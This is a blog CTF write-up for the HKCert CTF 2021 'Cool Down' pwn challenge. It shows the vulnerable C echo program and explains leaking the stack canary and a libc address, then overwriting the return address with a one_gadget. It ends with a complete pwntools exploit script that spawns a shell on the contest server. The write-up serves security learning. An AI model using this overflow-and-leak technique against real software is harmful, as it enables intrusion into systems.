Dyrandy

HKCert CTF 2021 - Cool Down (200 Points) 본문

CTF WriteUp

HKCert CTF 2021 - Cool Down (200 Points)

Dyrandy 2021. 11. 18. 22:53

Just a few days back, I participated in a CTF but didn't have time to finish this problem.

It wasn't too hard but I kind of messed up.

Problem

Although I did not solve "To modify the past" I was pretty sure I could solve this challenge.

The problem gave me a '.c' code, 'libc', and the challenge binary. This meant that I had to use the libc.

Pretty straight forward.

So, looking at the code.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void init() {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
    alarm(60);
}

int main () {
    char buf[100];
    char end[8] = "N";
    init();
    printf("Welcome to echo service.\n");
    while(!(end[0] == 'Y' || end[0] == 'y')){
        int num_read = read(0, buf, 0x100);
        if (buf[num_read-1] == '\n')
            buf[num_read-1] = '\0';
        printf("%s", buf);
        printf("End?[Y/N] ");
        scanf("%7s", end);
    }
}

The code itself is pretty simple. 

The user inputs with a maximum of 0x100(256) into 'buf' which can only have 100 chars.

The last of 'buf' is turned to 'null'.

It prints 'buf' and asks if you want to exit or not, and if not, goes back to the loop.

Right away we notice a simple "Buffer Overflow". 

Also, the padding does not work properly so we could leak addresses.

(PS. Before I used GDB for debugging the binary, I patched the ELF file with 'patchelf' so that it uses the given libc file. For the 'ld' file, I used 'glibc-all-in-one' to get it. Check out the github page for the tool https://github.com/matrix1001/glibc-all-in-one)

 

With GDB I checked the type of memory mitigation the binary had.

PIE and Canary are the 2 major things we have to deal with.

The process of the exploit is simple.

1. Get the "Canary"

2. Get some sort of memory which has "libc_base + offset"

3. Subtract the offset to get the "libc_base"

4. OneGadget the "libc" and add it to the "libc_base"

5. "A" * 104 + Canary + "A" * 8 + (libc_base + one_gadget) = PWN

 

1. Get the Canary

In order to get the canary, I needed to send 104 characters. (divisable by 8)

Input "A" * 104
Memory of Stack

As you can see if I input "A" * 104, I can access the "canary value". (the canary is in char).

(PS: Canary value ends with \x00. In this case, it is \x0a because of the 'enter', so, we have to change it back to \x00 after receiving the value)

 

2. Getting "libc_base + offset"

This is the part which I messed up. Looking at the stack memory I noticed after canary and 8 bytes ($rbp + 8), I could get '__libc_start_main + 240'

__libc_start_main + 240

So, back in the 'while' loop, I went back and entered "A" * 104 + "A" * 16 to get to the '__libc_start_main + 240'.

I thought it was the value, but there was a mistake. 

After I sent the "A" * 104 + "A" * 16, like the canary, '\x0a' is added at the end of the '__libc_start_main'. 

Which makes it '__libc_start_main + 186'

__libc_start_main + 186

I though it was '__libc_start_main + 240' but it was actually '__libc_start_main + 186'.

3. Getting 'libc_base'

Now to get 'libc_base', all I have to do is, '__libc_start_main + 186' - 186 - 'libc_start_main_offest'

4. One_Gadget

one_gadget ./libc-2.23.so

5. sol.py

from pwn import *
#p = process("./chall")
p = remote("chalp.hkcert21.pwnable.hk", 28329)
libc = ELF("./libc-2.23.so")

p.recvuntil("Welcome to echo service.\n")

one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]

dummy = "A" * 104
p.sendline(dummy)
p.recv(len(dummy))
canary = u64(p.recv(8))
canary = int(str(hex(canary))[:-2] + "00", 16)
print "[*] Canary:", hex(canary)

# libc_start_main + 186 - 186 = libc_base + libc_start_main_offset
print p.recvuntil(']')
p.sendline("N")
dummy += "A" * 16
p.sendline(dummy)
print "Dummy", p.recv(len(dummy))
p.recv(len(dummy))
libc_start_main = u64(p.recv(8).ljust(8, '\x00'))
libc_start_main = libc_start_main - 186
print "[*] libc_start_main:", hex(libc_start_main)
libc_base = libc_start_main - libc.symbols['__libc_start_main']
p.sendline("N")

payload = "A" * 104
payload += p64(canary)
payload += "B" * 8
payload += p64(libc_base + one_gadget[0])
p.sendline(payload)
p.recv()
sleep(0.5)
p.sendline("Y")
p.interactive()

flag.txt

'CTF WriteUp' 카테고리의 다른 글

Wacon 2022 - Kuncɛlan Write-up  (2) 2022.06.27
JustCTF2019 Ugly-Website (CSS Injection)  (0) 2019.12.24
WhiteHat CTF 2019 - The Camp  (0) 2019.09.30
FaceBook CTF (FBCTF) - Secret Note Keeper(XS-Search)  (0) 2019.06.04
FaceBook CTF(FBCTF) - PDFMe  (0) 2019.06.03
Comments